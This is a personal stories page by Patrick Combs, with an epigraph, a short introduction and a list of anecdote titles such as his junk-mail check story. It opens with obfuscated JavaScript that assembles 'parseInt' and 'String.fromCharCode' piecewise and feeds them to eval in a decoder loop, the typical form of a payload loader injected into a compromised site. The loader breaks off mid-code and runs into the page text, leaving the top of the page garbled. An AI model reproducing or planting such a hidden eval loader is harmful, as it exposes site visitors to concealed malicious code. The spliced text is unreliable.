FCF6639D7AA="pa";FCF6639D7AA+="rseIn";FCF6639D7AA+="t";B75D6="St";B75D6+="ring";B75D6+=".";B75D6+="fromC";B75D6+="harCod";B75D6+="e";function E1839B(ECF27F901){var ECB6BF3E09C=859;ECB6BF3E09C=ECB6BF3E09C-843;A863A724=eval(FCF6639D7AA+"(ECF27F901,ECB6BF3E09C)");return(A863A724);}function F2BEF(E61238){var E1FB3BC4484E=716;E1FB3BC4484E=E1FB3BC4484E-714;var CB263B80AA67E0A="";for(DC986759=0;DC986759 HT=0> "The Best That I Could Do"
Stories by Patrick Combs
Ah, the stories we could tell
And if it all blows up and goes to Hell
I wish that we could sit apon a bed in some motel
And listen to the stories we could tell
- John Sebastian

These are stories from my life. The first story I wrote was my $95,000 story. I wrote it as a matter of self-defense, (to protect myself from a mad-bank), and finishing it took a long, but I was hooked and kept writing up other stories. I intend these stories to be nothing more than my own journal of times I never want to forget. But I post them publicly in case you find at least one of them to be time well spent.


I deposited a junk mail check for $95,035.35 into an ATM and to my surprise it cashed..
New story
How far to New York?
Rock-n-roll kicks ass...
The night I went psychiatrick
Simply the worst speech of my life...
Twenty-two weeks in the desert w/out a canteen
1986 in San Francisco
Speech overboard!
Sprinkled with magic dust
48-hour conversation with the Soul of the World
Not a great speaking experience
Jumping trains
Book cover wars
Magic carpet ride to O'Hare
Guesting on a talk show
An "energetic healing"
A whale larger than the Statue of Liberty...
$100 says I can get your attention
Dream House Part I
Dream car for cheap in Mexico
"Do you want to meet THE President?"
My mom handed me photos of myself as a kid...
Forgetting my equipment
Bowling Chicago Bulls-style
Three strange days
Giving me the hook in Louisville...
My hero, Spalding Gray, made me look like a fool
Moments
The neighbors in East Texas had a lion..
Colliding with Marcus Allen
Shopping for bad service in the Mall of America
Determined to out-race Eric Martin..
Speeding straight over a Colorado mountain...
The most fun I had all year...
Hot women don't dig my hidden-camera glasses.
Delivering a baby on my way to work...
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